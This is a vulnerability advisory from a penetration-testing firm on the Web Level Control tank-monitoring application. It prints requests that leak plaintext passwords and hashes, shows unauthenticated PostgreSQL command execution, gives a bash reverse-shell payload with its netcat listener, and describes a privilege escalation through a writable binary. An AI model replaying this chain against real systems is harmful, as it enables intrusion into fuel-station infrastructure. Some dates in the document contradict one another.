SoftwareWeb Level Control (WLC)
Affected VersionVerified on 1.3.0, later version are likely (partially) affected as well
Fixed Version1.6.5
VendorKSW Elektro- und Industrieanlagenbau GmbH
Vendor Homepagehttps://kswtech.com/
CVSS 3.1 Score9.4 (Critical)
CVSS 3.1 StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CVE(s)TBD
Discovered Date2024-09-25
Fixed Date2025-01-10
Scheduled Release Date2024-01-10
ResearcherYuri Gbur, Senior Security Consultant (@yukonsec.bsky.social)
Contactresearch@certainity.com

Multiple Vulnerabilities in Web Level Control (WLC) Application

Letzes Update: 10.01.2025
Autor: Yuri Gbur, Senior Security Consultant

Vulnerability Summary

CERTAINITY identified multiple vulnerabilities in the Web Level Control application during a penetration testing assessment. The following issues have been uncovered:

  • Default passwords for administrative accounts: Using a weak default password that is easily guessed, attackers can take over the WLC web application.
  • Cleartext retrieval of passwords: The application sends passwords of backend services and the hashes of users to the application in cleartext.
  • Unauthenticated PostgreSQL superuser access: The PostgreSQL service is exposed to the network and the superuser postgres requires no password. This leads to a remote command execution.
  • Insecure File Permissions: The WLC application binary is writeable by anyone on the system and loaded by systemd as the sysadm user. This can lead to a privilege escalation from the previously compromised user postgres.

Product Description

Web Level Control (WLC) by KSW Elektro- und Industrieanlagenbau GmbH (KSW) is a web application that can be used for remote monitoring of petrol station tanks. It provides an overview of important parameters for the existing fuel tanks including fluid levels, temperature and capacity. The application requests the data via the MQTT protocol from the remote sources and stores them locally in a PostgreSQL database. Furthermore, the application can send notifications via E-Mails. KSW sells the WLC application in combination with their ICE (Intelligent Control Extension) platform.

Proof of Concept

Admin Default Password

The WLC application exposes a user login hosted at http://HOST/login. The application has a default user with the credentials admin:admin.

WLC Login

The password provides access to the application including administration settings for backend services.

Level Control Overview WLC Backend Settings

Cleartext Retrieval of Passwords

The previous screenshot of the settings for backend services shows that the placeholders for the passwords have different lengths which in itself is already a information disclosure. The consultants were intrigued if the application does expose even more detailed information about the credentials. Intercepting the traffic with Burp Suite showed the HTTP messages that request the information about the three services which indeed contain the passwords in plaintext.

GET /settings/getMailConfig/ HTTP/1.1
Host: [REDACTED]
authorization: Bearer eyJh[...]
[...]

HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]

{"success":true,"message":{"de":"Das Auslesen der bestehenden Mail-Konfiguration war erfolgreich.","en":"Reading current mail-configuration was successful."},"data":[{"id":1,"host":"[REDACTED]","port":"25","username":"[REDACTED]","password":"[REDACTED]","transportsecurity":false,"sendermail":"[REDACTED]"}]}
GET /settings/getMqttConfig/ HTTP/1.1
Host: [REDACTED]
authorization: Bearer eyJh[...]


HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]

{"success":true,"message":{"de":"Lesen der MQTT-CLient Konfiguration war erfolgreich","en":"Reading MQTT-client configuration was successful"},"data":["mqtt://127.0.0.1","1883","[REDACTED]","[REDACTED]"]}
GET /settings/getPostgreSQLConfig/ HTTP/1.1
Host: [REDACTED]
authorization: Bearer eyJh[...]
[...]


HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]

{"success":true,"message":{"de":"Lesen der PGSQL Konfiguration war erfolgreich","en":"Reading PGSQL configuration was successful"},"data":["localhost","5432","postgres","[REDACTED]","wlc"]}

The consultants were curious if the same behavior could be found in other locations in the application. Looking at how information about the current user is requested showed that the user ids are incremental on one hand and that the endpoint returns the bcrypt hash of the user password on the other hand. Combining this, it is possible to collect the hashes of all users for offline password-cracking attempts.

GET /auth/profile/2 HTTP/1.1
Host: [REDACTED]
authorization: Bearer eyJh[...]


HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]

{"success":true,"message":{"de":"Einlesen der Benutzer mit der ID '2' war erfolgreich!","en":"Reading user with the ID '2' was successful!"},"data":[{"id":2,"firstname":"Vorname","lastname":"Nachname","email":"admin@example.com","username":"admin","password":"$2a$[REDACTED]","legalentity":"Firma","legalentitystreet":"Mustertstraße 23","legalentityzip":1234,"legalentitycity":"Ort oder StadtA","legalentityprovince":"Bundesland","legalentitycountry":"Austria","legalentityphone":"+43123456789","usertype":"admin","userprivilegesreference":1,"language":"de","userenabled":true}]}

Using this method, it is possible to identify the primary admin user of KSW which has the user ID 1.

GET /auth/profile/1 HTTP/1.1
Host: [REDACTED]
authorization: Bearer eyJh[...]
[...]


HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]

{"success":true,"message":{"de":"Einlesen der Benutzer mit der ID '1' war erfolgreich!","en":"Reading user with the ID '1' was successful!"},"data":[{"id":1,"firstname":"KSW","lastname":"Admin","email":"[REDACTED]","username":"kswadmin","password":"$2a$[REDACTED]","legalentity":"KSW Elektro- & Industrieanlagenbau","legalentitystreet":"Studa 3a","legalentityzip":6800,"legalentitycity":"Feldkirch","legalentityprovince":"Vorarlberg","legalentitycountry":"Österreich","legalentityphone":"+43[REDACTED]","usertype":"admin","userprivilegesreference":1,"language":"de","userenabled":true}]}

On the tested sytem, there were no more users but on other systems, attackers could just keep incrementing the ID until the following message is returned.

GET /auth/profile/3 HTTP/1.1
Host: [REDACTED]
[...]


HTTP/1.1 200 OK
Server: nginx/1.14.2
[...]


{"success":false,"message":{"de":"Es wurde keine Benutzer mit der ID '3' in der Tabelle 'users' gefunden!","en":"No user with the ID '3' was found in table 'users!"},"data":[]}

Postgres RCE

With one of the previous vulnerabilities it was possible to identify a password for the PostgreSQL database. As the PostgreSQL service is exposed to the network for default WLC setup, this allowed the Consutlants to connect to the wlc database. However, while looking at the PostgreSQL server, it turned out that a password is not even required. The postgres use is configured with no password but superuser privileges. The PostgreSQL superuser has the permission to execute commands on the target system. This combination of user privileges and missing authentication leads to an unauthenticated remote command execution on the host of the WLC application.

The following listing shows the available databases and runs an id command to prove the command execution.

$ psql -h [REDACTED] -U postgres -d wlc           
psql (16.4 (Debian 16.4-1), server 11.11 (Debian 11.11-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
Type "help" for help.

wlc=# \list
                                                       List of databases
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | ICU Locale | ICU Rules |   Access privileges   
-----------+----------+----------+-----------------+-------------+-------------+------------+-----------+-----------------------
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |            |           | 
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |             |             |            |           | postgres=CTc/postgres
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |             |             |            |           | postgres=CTc/postgres
 wlc       | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |            |           | 

wlc=# \du+
                                    List of roles
 Role name |                         Attributes                         | Description 
-----------+------------------------------------------------------------+-------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | 

wlc=# DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
NOTICE:  table "cmd_exec" does not exist, skipping
DROP TABLE
CREATE TABLE
COPY 1
                               cmd_output                               
------------------------------------------------------------------------
 uid=112(postgres) gid=118(postgres) groups=118(postgres),117(ssl-cert)
(1 row)

DROP TABLE
wlc=# 

For further analysis this command execution was used to create a full reverse shell on the target host.

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/[REDACTED]/9001 0>&1"';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

The shell was received on a kali machine in the target network.

$ /bin/bash
$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [[REDACTED]] from (UNKNOWN) [[REDACTED]] 57646
bash: cannot set terminal process group (2359096): Inappropriate ioctl for device
bash: no job control in this shell
postgres@wlc2021netbox:/var/lib/postgresql/11/main$

Writeable Path Privilege Escalation

The postgres user that was previously compromised has write access to the path of the WLC application as the file permissions of the executable is configured insecurely to be writable by everyone on the system.

postgres@wlc2021netbox:/tmp$ ls -al /opt/ice/wlc21/wlc21
-rwxrwxrwx 1 sysadm sysadm 66285626 May 10  2021 /opt/ice/wlc21/wlc21

The application binary /opt/ice/wlc21/wlc21 is started via the systemd service (e.g. on reboots) and it is running as the sysadm user. The following listing shows the systemd wlc.service definition:

postgres@wlc2021netbox:/tmp$ cat /etc/systemd/system/wlc.service
[Unit]
Description=WLC
After=network.target

[Service]
Type=simple

WorkingDirectory=/opt/ice/wlc21
ExecStart=/opt/ice/wlc21/wlc21
ExecReload=/bin/kill -HUP $MAINPID

Restart=always
SyslogIdentifier=wlc

User=sysadm
Group=sysadm

StandardOutput=syslog
StandardError=syslog

Environment=PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/opt/ice/wlc21
#Environment=NODE_ENV=production

[Install]
WantedBy=multi-user.target

An attacker can overwrite the executable with a malicious payload. If a reboot is initiated, either by the attacker or another event, the systemd service would start the malicious executable as the sysadm user. This vulnerability was not verified, as the application was needed to be available during the entire time frame of the assessment.

The described issue leads to a privilege escalation as the sysadm user has access to more aspects of the application and files on the host. Furthermore, it has sudoers permissons to execute everything with elevated privileges as shown in the linepeas snippet below:

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Sudoers file: /etc/sudoers.d/netbox is readable
sysadm  ALL=(ALL:ALL)  ALL

Additional Remarks

During the evaluation we identified a few more configuration issues / missing best practices that do not directly lead to a compromise but should be fixed. The following issues have been identified:

  • Access-Control-Origin Wildcard (Potential CORS-Issue): The application sends a Wildcard for the Access-Control-Allow-Origin header with every request. This can lead to exploitation of cross-site request forgery (XSRF) vulnerabilities, as malicious sites can send XHR requests to the WLC application.
  • NGINX Version Disclosure: The application discloses the NGINX version in the HTTP header. This information can potentially be used by attackers to find public exploits.
  • Stack-Frame Disclosure: If an error is triggered in the application, e.g. by not sending the authorization header, the HTTP response contains the stack trace including full paths of the affected libraries.

All issues can be shown with a request to the endpoint /auth/profile/3 without sending an authorization header:

GET /auth/profile/3 HTTP/1.1
Host: [REDACTED]
[...]


HTTP/1.1 500 Internal Server Error
Server: nginx/1.14.2
Date: Tue, 15 Oct 2024 07:24:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1180
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError: Cannot read property &#39;split&#39; of undefined<br> &nbsp; &nbsp;at module.exports.router.use (/snapshot/wlc21/routes/auth.js:173:45)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/snapshot/wlc21/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/snapshot/wlc21/node_modules/express/lib/router/index.js:317:13)<br> &nbsp; &nbsp;at /snapshot/wlc21/node_modules/express/lib/router/index.js:284:7<br> &nbsp; &nbsp;at Function.process_params (/snapshot/wlc21/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/snapshot/wlc21/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/snapshot/wlc21/node_modules/express/lib/router/index.js:174:3)<br> &nbsp; &nbsp;at router (/snapshot/wlc21/node_modules/express/lib/router/index.js:47:12)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/snapshot/wlc21/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/snapshot/wlc21/node_modules/express/lib/router/index.js:317:13)</pre>
</body>
</html>

Mitigation / Patch Information

The vendor addressed all reported issues in version 1.6.5. For self-hosted instances, an immediate update is advised. SaaS instances of the WLC application should already have been updated.

If an update is not yet available for your instance yet, CERTAINITY recommends the following mitigation steps:

  • Change the password of the exiting admin user manually to a secure and complex password. Additionally, you could create a separate admin user with a non-standard name and complex password.
  • Ensure complex passwords for all existing users. This will make the offline cracking of obtained hashes infeasible.
  • Set a complex password for the postgres super user.
    • If the postgres instance is hosted on the same system as the WLC application, limit the service exposure to the local host address.
    • If the postgres instance is hosted on a separate system, ensure firewall rules that only the WLC application host can access the database service.
  • Change the access permissions on the application installation to not be writable by any user.
  • Ensure the WLC application is not reachable from the public internet but only from an internal network.

CERTAINITY recommends at least the following parameters for a password policy:

  • Minimum length of 12 characters for complex passwords. If less-complex passphrases are allowed, 16 characters ore more are recommended.
  • Passwords should include at least one uppercase letter, one lowercase letter, one number, and one special character (e.g., !, @, #, $).
  • Passwords must not contain user’s personal information, such as name, birthdate, or username.
  • While creating passwords, the passwords should be checked against password leak databases (e.g. https://haveibeenpwned.com/)
  • Do not enforce regular password changes with short periods as they often lead to enumerable / guessable patterns.

Disclosure Timeline

DateEvent
2024-09-25Vulnerability identification
2024-10-14Vendor Contact Attempt 1
2024-10-22Vendor Contact Attempt 2
2024-10-22IT-Security Contact Established
2024-11-12Vendor Confirms Vulnerabilities
2024-01-10Vendor Releases Patched Version
2025-01-10Public Disclosure